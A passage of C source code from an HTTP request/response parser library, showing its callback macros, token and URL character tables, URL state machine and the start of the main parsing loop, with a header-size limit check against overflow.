OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n */\n#include \"http_parser.h\"\n#include <assert.h>\n#include <stddef.h>\n#include <ctype.h>\n#include <stdlib.h>\n#include <string.h>\n#include <limits.h>\n\n#ifndef ULLONG_MAX\n# define ULLONG_MAX ((uint64_t) -1) /* 2^64-1 */\n#endif\n\n#ifndef MIN\n# define MIN(a,b) ((a) < (b) ? (a) : (b))\n#endif\n\n\n#if HTTP_PARSER_DEBUG\n#define SET_ERRNO(e)                                                 \\\ndo {                                                                 \\\n  parser->http_errno = (e);                                          \\\n  parser->error_lineno = __LINE__;                                   \\\n} while (0)\n#else\n#define SET_ERRNO(e)                                                 \\\ndo {                                                                 \\\n  parser->http_errno = (e);                                          \\\n} while(0)\n#endif\n\n\n/* Run the notify callback FOR, returning ER if it fails */\n#define CALLBACK_NOTIFY_(FOR, ER)                                    \\\ndo {                                                                 \\\n  assert(HTTP_PARSER_ERRNO(parser) == HPE_OK);                       \\\n                                                                     \\\n  if (settings->on_##FOR) {                                          \\\n    if (0 != settings->on_##FOR(parser)) {                           \\\n      SET_ERRNO(HPE_CB_##FOR);                                       \\\n    }                                                                \\\n                                                                     \\\n    /* We either errored above or got paused; get out */             \\\n    if (HTTP_PARSER_ERRNO(parser) != HPE_OK) {                       \\\n      return (ER);                                                   \\\n    }                                                                \\\n  }                                                                  \\\n} while (0)\n\n/* Run the notify callback FOR and consume the current byte */\n#define CALLBACK_NOTIFY(FOR)            CALLBACK_NOTIFY_(FOR, p - data + 1)\n\n/* Run the notify callback FOR and don't consume the current byte */\n#define CALLBACK_NOTIFY_NOADVANCE(FOR)  CALLBACK_NOTIFY_(FOR, p - data)\n\n/* Run data callback FOR with LEN bytes, returning ER if it fails */\n#define CALLBACK_DATA_(FOR, LEN, ER)                                 \\\ndo {                                                                 \\\n  assert(HTTP_PARSER_ERRNO(parser) == HPE_OK);                       \\\n                                                                     \\\n  if (FOR##_mark) {                                                  \\\n    if (settings->on_##FOR) {                                        \\\n      if (0 != settings->on_##FOR(parser, FOR##_mark, (LEN))) {      \\\n        SET_ERRNO(HPE_CB_##FOR);                                     \\\n      }                                                              \\\n                                                                     \\\n      /* We either errored above or got paused; get out */           \\\n      if (HTTP_PARSER_ERRNO(parser) != HPE_OK) {                     \\\n        return (ER);                                                 \\\n      }                                                              \\\n    }                                                                \\\n    FOR##_mark = NULL;                                               \\\n  }                                                                  \\\n} while (0)\n  \n/* Run the data callback FOR and consume the current byte */\n#define CALLBACK_DATA(FOR)                                           \\\n    CALLBACK_DATA_(FOR, p - FOR##_mark, p - data + 1)\n\n/* Run the data callback FOR and don't consume the current byte */\n#define CALLBACK_DATA_NOADVANCE(FOR)                                 \\\n    CALLBACK_DATA_(FOR, p - FOR##_mark, p - data)\n\n/* Set the mark FOR; non-destructive if mark is already set */\n#define MARK(FOR)                                                    \\\ndo {                                                                 \\\n  if (!FOR##_mark) {                                                 \\\n    FOR##_mark = p;                                                  \\\n  }                                                                  \\\n} while (0)\n\n\n#define PROXY_CONNECTION \"proxy-connection\"\n#define CONNECTION \"connection\"\n#define CONTENT_LENGTH \"content-length\"\n#define TRANSFER_ENCODING \"transfer-encoding\"\n#define UPGRADE \"upgrade\"\n#define CHUNKED \"chunked\"\n#define KEEP_ALIVE \"keep-alive\"\n#define CLOSE \"close\"\n\n\nstatic const char *method_strings[] =\n  {\n#define XX(num, name, string) #string,\n  HTTP_METHOD_MAP(XX)\n#undef XX\n  };\n\n\n/* Tokens as defined by rfc 2616. Also lowercases them.\n *        token       = 1*<any CHAR except CTLs or separators>\n *     separators     = \"(\" | \")\" | \"<\" | \">\" | \"@\"\n *                    | \",\" | \";\" | \":\" | \"\\\" | <\">\n *                    | \"/\" | \"[\" | \"]\" | \"?\" | \"=\"\n *                    | \"{\" | \"}\" | SP | HT\n */\nstatic const char tokens[256] = {\n/*   0 nul    1 soh    2 stx    3 etx    4 eot    5 enq    6 ack    7 bel  */\n        0,       0,       0,       0,       0,       0,       0,       0,\n/*   8 bs     9 ht    10 nl    11 vt    12 np    13 cr    14 so    15 si   */\n        0,       0,       0,       0,       0,       0,       0,       0,\n/*  16 dle   17 dc1   18 dc2   19 dc3   20 dc4   21 nak   22 syn   23 etb */\n        0,       0,       0,       0,       0,       0,       0,       0,\n/*  24 can   25 em    26 sub   27 esc   28 fs    29 gs    30 rs    31 us  */\n        0,       0,       0,       0,       0,       0,       0,       0,\n/*  32 sp    33  !    34  \"    35  #    36  $    37  %    38  &    39  '  */\n        0,      '!',      0,      '#',     '$',     '%',     '&',    '\\'',\n/*  40  (    41  )    42  *    43  +    44  ,    45  -    46  .    47  /  */\n        0,       0,      '*',     '+',      0,      '-',     '.',      0,\n/*  48  0    49  1    50  2    51  3    52  4    53  5    54  6    55  7  */\n       '0',     '1',     '2',     '3',     '4',     '5',     '6',     '7',\n/*  56  8    57  9    58  :    59  ;    60  <    61  =    62  >    63  ?  */\n       '8',     '9',      0,       0,       0,       0,       0,       0,\n/*  64  @    65  A    66  B    67  C    68  D    69  E    70  F    71  G  */\n        0,      'a',     'b',     'c',     'd',     'e',     'f',     'g',\n/*  72  H    73  I    74  J    75  K    76  L    77  M    78  N    79  O  */\n       'h',     'i',     'j',     'k',     'l',     'm',     'n',     'o',\n/*  80  P    81  Q    82  R    83  S    84  T    85  U    86  V    87  W  */\n       'p',     'q',     'r',     's',     't',     'u',     'v',     'w',\n/*  88  X    89  Y    90  Z    91  [    92  \\    93  ]    94  ^    95  _  */\n       'x',     'y',     'z',      0,       0,       0,      '^',     '_',\n/*  96  `    97  a    98  b    99  c   100  d   101  e   102  f   103  g  */\n       '`',     'a',     'b',     'c',     'd',     'e',     'f',     'g',\n/* 104  h   105  i   106  j   107  k   108  l   109  m   110  n   111  o  */\n       'h',     'i',     'j',     'k',     'l',     'm',     'n',     'o',\n/* 112  p   113  q   114  r   115  s   116  t   117  u   118  v   119  w  */\n       'p',     'q',     'r',     's',     't',     'u',     'v',     'w',\n/* 120  x   121  y   122  z   123  {   124  |   125  }   126  ~   127 del */\n       'x',     'y',     'z',      0,      '|',      0,      '~',       0 };\n\n\nstatic const int8_t unhex[256] =\n  {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1\n  ,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1\n  ,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1\n  , 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,-1,-1,-1,-1,-1,-1\n  ,-1,10,11,12,13,14,15,-1,-1,-1,-1,-1,-1,-1,-1,-1\n  ,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1\n  ,-1,10,11,12,13,14,15,-1,-1,-1,-1,-1,-1,-1,-1,-1\n  ,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1\n  };\n\n\n#if HTTP_PARSER_STRICT\n# define T 0\n#else\n# define T 1\n#endif\n\n\nstatic const uint8_t normal_url_char[256] = {\n/*   0 nul    1 soh    2 stx    3 etx    4 eot    5 enq    6 ack    7 bel  */\n        0,       0,       0,       0,       0,       0,       0,       0,\n/*   8 bs     9 ht    10 nl    11 vt    12 np    13 cr    14 so    15 si   */\n        0,       T,       0,       0,       T,       0,       0,       0,\n/*  16 dle   17 dc1   18 dc2   19 dc3   20 dc4   21 nak   22 syn   23 etb */\n        0,       0,       0,       0,       0,       0,       0,       0,\n/*  24 can   25 em    26 sub   27 esc   28 fs    29 gs    30 rs    31 us  */\n        0,       0,       0,       0,       0,       0,       0,       0,\n/*  32 sp    33  !    34  \"    35  #    36  $    37  %    38  &    39  '  */\n        0,       1,       1,       0,       1,       1,       1,       1,\n/*  40  (    41  )    42  *    43  +    44  ,    45  -    46  .    47  /  */\n        1,       1,       1,       1,       1,       1,       1,       1,\n/*  48  0    49  1    50  2    51  3    52  4    53  5    54  6    55  7  */\n        1,       1,       1,       1,       1,       1,       1,       1,\n/*  56  8    57  9    58  :    59  ;    60  <    61  =    62  >    63  ?  */\n        1,       1,       1,       1,       1,       1,       1,       0,\n/*  64  @    65  A    66  B    67  C    68  D    69  E    70  F    71  G  */\n        1,       1,       1,       1,       1,       1,       1,       1,\n/*  72  H    73  I    74  J    75  K    76  L    77  M    78  N    79  O  */\n        1,       1,       1,       1,       1,       1,       1,       1,\n/*  80  P    81  Q    82  R    83  S    84  T    85  U    86  V    87  W  */\n        1,       1,       1,       1,       1,       1,       1,       1,\n/*  88  X    89  Y    90  Z    91  [    92  \\    93  ]    94  ^    95  _  */\n        1,       1,       1,       1,       1,       1,       1,       1,\n/*  96  `    97  a    98  b    99  c   100  d   101  e   102  f   103  g  */\n        1,       1,       1,       1,       1,       1,       1,       1,\n/* 104  h   105  i   106  j   107  k   108  l   109  m   110  n   111  o  */\n        1,       1,       1,       1,       1,       1,       1,       1,\n/* 112  p   113  q   114  r   115  s   116  t   117  u   118  v   119  w  */\n        1,       1,       1,       1,       1,       1,       1,       1,\n/* 120  x   121  y   122  z   123  {   124  |   125  }   126  ~   127 del */\n        1,       1,       1,       1,       1,       1,       1,       0, };\n\n#undef T\n\nenum state\n  { s_dead = 1 /* important that this is > 0 */\n\n  , s_start_req_or_res\n  , s_res_or_resp_H\n  , s_start_res\n  , s_res_H\n  , s_res_HT\n  , s_res_HTT\n  , s_res_HTTP\n  , s_res_first_http_major\n  , s_res_http_major\n  , s_res_first_http_minor\n  , s_res_http_minor\n  , s_res_first_status_code\n  , s_res_status_code\n  , s_res_status\n  , s_res_line_almost_done\n\n  , s_start_req\n\n  , s_req_method\n  , s_req_spaces_before_url\n  , s_req_schema\n  , s_req_schema_slash\n  , s_req_schema_slash_slash\n  , s_req_host_start\n  , s_req_host_v6_start\n  , s_req_host_v6\n  , s_req_host_v6_end\n  , s_req_host\n  , s_req_port_start\n  , s_req_port\n  , s_req_path\n  , s_req_query_string_start\n  , s_req_query_string\n  , s_req_fragment_start\n  , s_req_fragment\n  , s_req_http_start\n  , s_req_http_H\n  , s_req_http_HT\n  , s_req_http_HTT\n  , s_req_http_HTTP\n  , s_req_first_http_major\n  , s_req_http_major\n  , s_req_first_http_minor\n  , s_req_http_minor\n  , s_req_line_almost_done\n\n  , s_header_field_start\n  , s_header_field\n  , s_header_value_start\n  , s_header_value\n  , s_header_value_lws\n\n  , s_header_almost_done\n\n  , s_chunk_size_start\n  , s_chunk_size\n  , s_chunk_parameters\n  , s_chunk_size_almost_done\n\n  , s_headers_almost_done\n  , s_headers_done\n\n  /* Important: 's_headers_done' must be the last 'header' state. All\n   * states beyond this must be 'body' states. It is used for overflow\n   * checking. See the PARSING_HEADER() macro.\n   */\n\n  , s_chunk_data\n  , s_chunk_data_almost_done\n  , s_chunk_data_done\n\n  , s_body_identity\n  , s_body_identity_eof\n\n  , s_message_done\n  };\n\n\n#define PARSING_HEADER(state) (state <= s_headers_done)\n\n\nenum header_states\n  { h_general = 0\n  , h_C\n  , h_CO\n  , h_CON\n\n  , h_matching_connection\n  , h_matching_proxy_connection\n  , h_matching_content_length\n  , h_matching_transfer_encoding\n  , h_matching_upgrade\n\n  , h_connection\n  , h_content_length\n  , h_transfer_encoding\n  , h_upgrade\n\n  , h_matching_transfer_encoding_chunked\n  , h_matching_connection_keep_alive\n  , h_matching_connection_close\n\n  , h_transfer_encoding_chunked\n  , h_connection_keep_alive\n  , h_connection_close\n  };\n\n\n/* Macros for character classes; depends on strict-mode  */\n#define CR                  '\\r'\n#define LF                  '\\n'\n#define LOWER(c)            (unsigned char)(c | 0x20)\n#define IS_ALPHA(c)         (LOWER(c) >= 'a' && LOWER(c) <= 'z')\n#define IS_NUM(c)           ((c) >= '0' && (c) <= '9')\n#define IS_ALPHANUM(c)      (IS_ALPHA(c) || IS_NUM(c))\n#define IS_HEX(c)           (IS_NUM(c) || (LOWER(c) >= 'a' && LOWER(c) <= 'f'))\n\n#if HTTP_PARSER_STRICT\n#define TOKEN(c)            (tokens[(unsigned char)c])\n#define IS_URL_CHAR(c)      (normal_url_char[(unsigned char) (c)])\n#define IS_HOST_CHAR(c)     (IS_ALPHANUM(c) || (c) == '.' || (c) == '-')\n#else\n#define TOKEN(c)            ((c == ' ') ? ' ' : tokens[(unsigned char)c])\n#define IS_URL_CHAR(c)                                                         \\\n  (normal_url_char[(unsigned char) (c)] || ((c) & 0x80))\n#define IS_HOST_CHAR(c)                                                        \\\n  (IS_ALPHANUM(c) || (c) == '.' || (c) == '-' || (c) == '_')\n#endif\n\n\n#define start_state (parser->type == HTTP_REQUEST ? s_start_req : s_start_res)\n\n\n#if HTTP_PARSER_STRICT\n# define STRICT_CHECK(cond)                                          \\\ndo {                                                                 \\\n  if (cond) {                                                        \\\n    SET_ERRNO(HPE_STRICT);                                           \\\n    goto error;                                                      \\\n  }                                                                  \\\n} while (0)\n# define NEW_MESSAGE() (http_should_keep_alive(parser) ? start_state : s_dead)\n#else\n# define STRICT_CHECK(cond)\n# define NEW_MESSAGE() start_state\n#endif\n\n\n/* Map errno values to strings for human-readable output */\n#define HTTP_STRERROR_GEN(n, s) { \"HPE_\" #n, s },\nstatic struct {\n  const char *name;\n  const char *description;\n} http_strerror_tab[] = {\n  HTTP_ERRNO_MAP(HTTP_STRERROR_GEN)\n};\n#undef HTTP_STRERROR_GEN\n\nint http_message_needs_eof(http_parser *parser);\n\n/* Our URL parser.\n *\n * This is designed to be shared by http_parser_execute() for URL validation,\n * hence it has a state transition + byte-for-byte interface. In addition, it\n * is meant to be embedded in http_parser_parse_url(), which does the dirty\n * work of turning state transitions URL components for its API.\n *\n * This function should only be invoked with non-space characters. It is\n * assumed that the caller cares about (and can detect) the transition between\n * URL and non-URL states by looking for these.\n */\nstatic enum state\nparse_url_char(enum state s, const char ch)\n{\n  if (ch == ' ' || ch == '\\r' || ch == '\\n') {\n    return s_dead;\n  }\n\n#if HTTP_PARSER_STRICT\n  if (ch == '\\t' || ch == '\\f') {\n    return s_dead;\n  }\n#endif\n\n  switch (s) {\n    case s_req_spaces_before_url:\n      /* Proxied requests are followed by scheme of an absolute URI (alpha).\n       * All methods except CONNECT are followed by '/' or '*'.\n       */\n\n      if (ch == '/' || ch == '*') {\n        return s_req_path;\n      }\n\n      if (IS_ALPHA(ch)) {\n        return s_req_schema;\n      }\n\n      break;\n\n    case s_req_schema:\n      if (IS_ALPHA(ch)) {\n        return s;\n      }\n\n      if (ch == ':') {\n        return s_req_schema_slash;\n      }\n\n      break;\n\n    case s_req_schema_slash:\n      if (ch == '/') {\n        return s_req_schema_slash_slash;\n      }\n\n      break;\n\n    case s_req_schema_slash_slash:\n      if (ch == '/') {\n        return s_req_host_start;\n      }\n\n      break;\n\n    case s_req_host_start:\n      if (ch == '[') {\n        return s_req_host_v6_start;\n      }\n\n      if (IS_HOST_CHAR(ch)) {\n        return s_req_host;\n      }\n\n      break;\n\n    case s_req_host:\n      if (IS_HOST_CHAR(ch)) {\n        return s_req_host;\n      }\n\n      /* FALLTHROUGH */\n    case s_req_host_v6_end:\n      switch (ch) {\n        case ':':\n          return s_req_port_start;\n\n        case '/':\n          return s_req_path;\n\n        case '?':\n          return s_req_query_string_start;\n      }\n\n      break;\n\n    case s_req_host_v6:\n      if (ch == ']') {\n        return s_req_host_v6_end;\n      }\n\n      /* FALLTHROUGH */\n    case s_req_host_v6_start:\n      if (IS_HEX(ch) || ch == ':') {\n        return s_req_host_v6;\n      }\n      break;\n\n    case s_req_port:\n      switch (ch) {\n        case '/':\n          return s_req_path;\n\n        case '?':\n          return s_req_query_string_start;\n      }\n\n      /* FALLTHROUGH */\n    case s_req_port_start:\n      if (IS_NUM(ch)) {\n        return s_req_port;\n      }\n\n      break;\n\n    case s_req_path:\n      if (IS_URL_CHAR(ch)) {\n        return s;\n      }\n\n      switch (ch) {\n        case '?':\n          return s_req_query_string_start;\n\n        case '#':\n          return s_req_fragment_start;\n      }\n\n      break;\n\n    case s_req_query_string_start:\n    case s_req_query_string:\n      if (IS_URL_CHAR(ch)) {\n        return s_req_query_string;\n      }\n\n      switch (ch) {\n        case '?':\n          /* allow extra '?' in query string */\n          return s_req_query_string;\n\n        case '#':\n          return s_req_fragment_start;\n      }\n\n      break;\n\n    case s_req_fragment_start:\n      if (IS_URL_CHAR(ch)) {\n        return s_req_fragment;\n      }\n\n      switch (ch) {\n        case '?':\n          return s_req_fragment;\n\n        case '#':\n          return s;\n      }\n\n      break;\n\n    case s_req_fragment:\n      if (IS_URL_CHAR(ch)) {\n        return s;\n      }\n\n      switch (ch) {\n        case '?':\n        case '#':\n          return s;\n      }\n\n      break;\n\n    default:\n      break;\n  }\n\n  /* We should never fall out of the switch above unless there's an error */\n  return s_dead;\n}\n\nsize_t http_parser_execute (http_parser *parser,\n                            const http_parser_settings *settings,\n                            const char *data,\n                            size_t len)\n{\n  char c, ch;\n  int8_t unhex_val;\n  const char *p = data;\n  const char *header_field_mark = 0;\n  const char *header_value_mark = 0;\n  const char *url_mark = 0;\n  const char *body_mark = 0;\n\n  /* We're in an error state. Don't bother doing anything. */\n  if (HTTP_PARSER_ERRNO(parser) != HPE_OK) {\n    return 0;\n  }\n\n  if (len == 0) {\n    switch (parser->state) {\n      case s_body_identity_eof:\n        /* Use of CALLBACK_NOTIFY() here would erroneously return 1 byte read if\n         * we got paused.\n         */\n        CALLBACK_NOTIFY_NOADVANCE(message_complete);\n        return 0;\n\n      case s_dead:\n      case s_start_req_or_res:\n      case s_start_res:\n      case s_start_req:\n        return 0;\n\n      default:\n        SET_ERRNO(HPE_INVALID_EOF_STATE);\n        return 1;\n    }\n  }\n\n\n  if (parser->state == s_header_field)\n    header_field_mark = data;\n  if (parser->state == s_header_value)\n    header_value_mark = data;\n  switch (parser->state) {\n  case s_req_path:\n  case s_req_schema:\n  case s_req_schema_slash:\n  case s_req_schema_slash_slash:\n  case s_req_host_start:\n  case s_req_host_v6_start:\n  case s_req_host_v6:\n  case s_req_host_v6_end:\n  case s_req_host:\n  case s_req_port_start:\n  case s_req_port:\n  case s_req_query_string_start:\n  case s_req_query_string:\n  case s_req_fragment_start:\n  case s_req_fragment:\n    url_mark = data;\n    break;\n  }\n\n  for (p=data; p != data + len; p++) {\n    ch = *p;\n\n    if (PARSING_HEADER(parser->state)) {\n      ++parser->nread;\n      /* Buffer overflow attack */\n      if (parser->nread > HTTP_MAX_HEADER_SIZE) {\n        SET_ERRNO(HPE_HEADER_OVERFLOW);\n        goto error;\n      }\n    }\n\n    reexecute_byte:\n    switch (parser->state) {\n\n      case s_dead:\n        /* this state is used after a 'Connection: close' message\n         * the parser will error out if it reads another message\n         */\n        if (ch == CR || ch == LF)\n          break;\n\n        SET_ERRNO(HPE_CLOSED_CONNECTION);\n        goto error;\n\n      case s_start_req_or_res:\n      {\n        if (ch == CR || ch == LF)\n          break;\n        parser->flags = 0;\n        parser->content_length = ULLONG_MAX;\n\n        if (ch == 'H') {\n          parser->state = s_res_or_resp_H;\n\n          CALLBACK_NOTIFY(message_begin);\n        } else {\n          parser->type = HTTP_REQUEST;\n          parser->state = s_start_req;\n          goto reexecute_byte;\n        }\n\n        break;\n      }\n\n      case s_res_or_resp_H:\n        if (ch == 'T') {\n          parser->type = HTTP_RESPONSE;\n          parser->state = s_res_HT;\n        } else {\n          if (ch != 'E') {\n            SET_ERRNO(HPE_INVALID_CONSTANT);\n            goto error;\n          }\n\n          parser->type = HTTP_REQUEST;\n          parser->method = HTTP_HEAD;\n          parser->index = 2;\n          parser->state = s_req_method;\n        }\n        break;\n\n      case s_start_res:\n      {\n        parser->flags = 0;\n        parser->content_length = ULLONG_MAX;\n\n        switch (ch) {\n          case 'H':\n            parser->state = s_res_H;\n            break;\n\n          case CR:\n          case LF:\n            break;\n\n          default:\n            SET_ERRNO(HPE_INVALID_CONSTANT);\n            goto error;\n        }\n\n        CALLBACK_NOTIFY(message_begin);\n        break;\n      }\n\n      case s_res_H:\n        STRICT_CHECK(ch != 'T');\n        parser->state = s_res_HT;\n        break;\n\n      case s_res_HT:\n        STRICT_CHECK(ch != 'T');\n        parser->state = s_res_HTT;\n        break;\n\n      case s_res_HTT:\n        STRICT_CHECK(ch != 'P');\n        parser->state = s_res_HTTP;\n        break;\n\n      case s_res_HTTP:\n        STRICT_CHECK(ch != '/');\n        parser->state = s_res_first_http_major;\n        break;\n\n      case s_res_first_http_major:\n        if (ch < '0' || ch > '9') {\n          SET_ERRNO(HPE_INVALID_VERSION);\n          goto error;\n        }\n\n        parser->http_major = ch - '0';\n        parser->state = s_res_http_major;\n        break;\n\n      /* major HTTP version or dot */\n      case s_res_http_major:\n      {\n        if (ch == '.') {\n          parser->state = s_res_first_http_minor;\n          break;\n        }\n\n        if (!IS_NUM(ch)) {\n          SET_ERRNO(HPE_INVALID_VERSION);\n          goto error;\n        }\n\n        parser->http_major *= 10;\n        parser->http_major += ch - '0';\n\n        if (parser->http_major > 999) {\n          SET_ERRNO(HPE_INVALID_VERSION);\n          goto error;\n        }\n\n        break;\n      }\n\n      /* first digit of minor HTTP version */\n      case s_res_first_http_minor:\n        if (!IS_NUM(ch)) {\n          SET_ERRNO(HPE_INVALID_VERSION);\n          goto error;\n        }\n\n        parser->http_minor = ch - '0';\n        parser->state = s_res_http_minor;\n        break;\n\n      /* minor HTTP version or end of request line */\n      case s_res_http_minor:\n      {\n        if (ch == ' ') {\n          parser->state = s_res_first_status_code;\n          break;\n        }\n\n        if (!IS_NUM(ch)) {\n          SET_ERRNO(HPE_INVALID_VERSION);\n          goto error;\n        }\n\n        parser->http_minor *= 10;\n        parser->http_minor += ch - '0';\n\n        if (parser->http_minor > 999) {\n          SET_ERRNO(HPE_INVALID_VERSION);\n          goto error;\n        }\n\n        break;\n      }\n\n      case s_res_first_status_code:\n      {\n        if (!IS_NUM(ch)) {\n          if (ch == ' ') {\n            break;\n          }\n\n          SET_ERRNO(HPE_INVALID_STATUS);\n          goto error;\n        }\n        parser->status_code = ch - '0';\n        parser->state = s_res_status_code;\n        break;\n      }\n\n      case s_res_status_code:\n      {\n        if (!IS_NUM(ch)) {\n          switch (ch) {\n            case ' ':\n              parser->state = s_res_status;\n              break;\n            case CR:\n              parser->state = s_res_line_almost_done;\n              break;\n            case LF:\n              parser->state = s_header_field_start;\n              break;\n            default:\n              SET_ERRNO(HPE_INVALID_STATUS);\n              goto error;\n          }\n          break;\n        }\n\n        parser->status_code *= 10;\n        parser->status_code += ch - '0';\n\n        if (parser->status_code > 999) {\n          SET_ERRNO(HPE_INVALID_STATUS);\n          goto error;\n        }\n\n        break;\n      }\n\n      case s_res_status:\n        /* the human readable status. e.g. \"NOT FOUND\"\n         * we are not humans so just ignore this */\n        if (ch == CR) {\n          parser->state = s_res_line_almost_done;\n          break;\n        }\n\n        if (ch == LF) {\n          parser->state = s_header_field_start;\n          break;\n        }\n        break;\n\n      case s_res_line_almost_done:\n        STRICT_CHECK(ch != LF);\n        parser->state = s_header_field_start;\n        break;\n\n      case s_start_req:\n      {\n        if (ch == CR || ch == LF)\n          break;\n        parser->flags = 0;\n        parser->content_length = ULLONG_MAX;\n\n        if (!IS_ALPHA(ch)) {\n          SET_ERRNO(HPE_INVALID_METHOD);\n          goto error;\n        }\n\n        parser->method = (enum http_method) 0;\n        parser->index = 1;\n        switch (ch) {\n          case 'C': parser->method = HTTP_CONNECT; /* or COPY, CHECKOUT */ break;\n          case 'D': parser->method = HTTP_DELETE; break;\n          case 'G': parser->method = HTTP_GET; break;\n          case 'H': parser->method = HTTP_HEAD; break;\n          case 'L': parser->method = HTTP_LOCK; break;\n          case 'M': parser->method = HTTP_MKCOL; /* or MOVE, MKACTIVITY, MERGE, M-SEARCH */ break;\n          case 'N': parser->method = HTTP_NOTIFY; break;\n          case 'O': parser->method = HTTP_OPTIONS; break;\n          case 'P': parser->method = HTTP_POST;\n            /* or PROPFIND|PROPPATCH|PUT|PATCH|PURGE */\n            break;\n          case 'R': parser->method = HTTP_REPORT; break;\n          case 'S': parser->method = HTTP_SUBSCRIBE; /* or SEARCH */ break;\n          case 'T': parser->method = HTTP_TRACE; break;\n          case 'U': parser->method = HTTP_UNLOCK; /* or UNSUBSCRIBE */ break;\n          default:\n            SET_ERRNO(HPE_INVALID_METHOD);\n            goto error;\n        }\n        parser->state = s_req_method;\n\n        CALLBACK_NOTIFY(message_begin);\n\n        break;\n      }\n\n      case s_req_method:\n      {\n        const char *matcher;\n        if (ch == '\\0') {\n          SET_ERRNO(HPE_INVALID_METHOD);\n          goto error;\n        }\n\n        matcher = method_strings[parser->method];\n        if (ch == ' ' && matcher[parser->index] == '\\0') {\n          parser->state = s_req_spaces_before_url;\n        } else if (ch == matcher[parser->index]) {\n          ; /* nada */\n        } else if (parser->method == HTTP_CONNECT) {\n          if (parser->index == 1 && ch == 'H') {\n            parser->method = HTTP_CHECKOUT;\n          } else if (parser->index == 2  && ch == 'P') {\n            parser->method = HTTP_COPY;\n          } else {\n            goto error;\n          }\n        } else if (parser->method == HTTP_MKCOL) {\n          if (parser->index == 1 && ch == 'O') {\n            parser->method = HTTP_MOVE;\n          } else if (parser->index == 1 && ch == 'E') {\n            parser->method = HTTP_MERGE;\n          } else if (parser->index == 1 && ch == '-') {\n            parser->method = HTTP_MSEARCH;\n          } else if (parser->index == 2 && ch == 'A') {\n            parser->method = HTTP_MKACTIVITY;\n          } else {\n            goto error;\n          }\n        } else if (parser->method == HTTP_SUBSCRIBE) {\n          if (parser->index == 1 && ch == 'E') {\n            parser->method = HTTP_SEARCH;\n          } else {\n            goto error;\n          }\n        } else if (parser->index == 1 && parser->method == HTTP_POST) {\n          if (ch == 'R') {\n            parser->method = HTTP_PROPFIND; /* or HTTP_PROPPATCH */\n          } else if (ch == 'U') {\n            parser->method = HTTP_PUT; /* or HTTP_PURGE */\n          } else if (ch == 'A') {\n            parser->method = HTTP_PATCH;\n          } else {\n            goto error;\n          }\n        } else if (parser->index == 2) {\n          if (parser->method == HTTP_PUT) {\n            if (ch == 'R') parser->method = HTTP_PURGE;\n          } else if (parser->method == HTTP_UNLOCK) {\n            if (ch == 'S') parser->method = HTTP_UNSUBSCRIBE;\n          }\n        } else if (parser->index == 4 && parser->method == HTTP_PROPFIND && ch == 'P') {\n          parser->method = HTTP_PROPPATCH;\n        } else {\n          SET_ERRNO(HPE_INVALID_METHOD);\n          goto error;\n        }\n\n        ++parser->index;\n        break;\n      }\n\n      case s_req_spaces_before_url:\n      {\n        if (ch == ' ') break;\n\n        MARK(url);\n        if (parser->method == HTTP_CONNECT) {\n          parser->state = s_req_host_start;\n        }\n\n        parser->state = parse_url_char((enum state)parser->state, ch);\n        if (parser->state == s_dead) {\n          SET_ERRNO(HPE_INVALID_URL);\n          goto error;\n        }\n\n        break;\n      }\n\n      case s_req_schema:\n      case s_req_schema_slash:\n      case s_req_schema_slash_slash:\n      case s_req_host_start:\n      case s_req_host_v6_start:\n      case s_req_host_v6:\n      case s_req_port_start:\n      {\n        switch (ch) {\n          /* No whitespace allowed here */\n          case ' ':\n          case CR:\n          case LF:\n            SET_ERRNO(HPE_INVALID_URL);\n            goto error;\n          default:\n            parser->state = parse_url_char((enum state)parser->state, ch);\n            if (parser->state == s_dead) {\n              SET_ERRNO(HPE_INVALID_URL);\n              goto error;\n            }\n        }\n\n        break;\n      }\n\n      case s_req_host:\n      case s_req_host_v6_end:\n      case s_req_port:\n      case s_req_path:\n      case s_req_query_string_start:\n      case s_req_query_string:\n      case s_req_fragment_start:\n      case s_req_fragment:\n      {\n        switch (ch) {\n          case ' ':\n            parser->state = s_req_http_start;\n            CALLBACK_DATA(url);\n            break;\n          case CR:\n          case LF:\n            parser->http_major = 0;\n            parser->http_minor = 9;\n            parser->state = (ch == CR) ?\n              s_req_line_almost_done :\n              s_header_field_start;\n            CALLBACK_DATA(url);\n            break;\n          default:\n            parser->state = parse_url_char((enum state)parser->state, ch);\n            if (parser->state == s_dead) {\n              SET_ERRNO(HPE_INVALID_URL);\n              goto error;\n            }\n        }\n        break;\n      }\n\n      case s_req_http_start:\n        switch (ch) {\n          case 'H':\n            parser->state = s_req_http_H;\n            break;\n          case ' ':\n            break;\n          default:\n            SET_ERRNO(HPE_INVALID_CONSTANT);\n            goto error;\n        }\n        break;\n\n      case s_req_http_H:\n        STRICT_CHECK(ch != 'T');\n        parser->state = s_req_http_HT;\n        break;\n\n      case s_req_http_HT:\n        STRICT_CHECK(ch != 'T');\n        parser->state = s_req_http_HTT;\n        break;\n\n      case s_req_http_HTT:\n        STRICT_CHECK(ch != 'P');\n        parser->state = s_req_http_HTTP;\n        break;\n\n      case s_req_http_HTTP:\n        STRICT_CHECK(ch != '/');\n        parser->state = s_req_first_http_major;\n        break;\n\n      /* first digit of major HTTP version */\n      case s_req_first_http_major:\n        if (ch < '1' || ch > '9') {\n          SET_ERRNO(HPE_INVALID_VERSION);\n          goto error;\n        }\n\n        parser->http_major = ch - '0';\n        parser->state = s_req_http_major;\n        break;\n\n      /* major HTTP version or dot */\n      case s_req_http_major:\n      {\n        if (ch == '.') {\n          parser->state = s_req_first_http_minor;\n          break;\n        }\n\n        if (!IS_NUM(ch)) {\n          SET_ERRNO(HPE_INVALID_VERSION);\n          goto error;\n        }\n\n        parser->http_major *= 10;\n        parser->http_major += ch - '0';\n\n        if (parser->http_major > 999) {\n          SET_ERRNO(HPE_INVALID_VERSION);\n          goto error;\n        }\n\n        break;\n      }\n\n      /* first digit of minor HTTP version */\n      case s_req_first_http_minor:\n        if 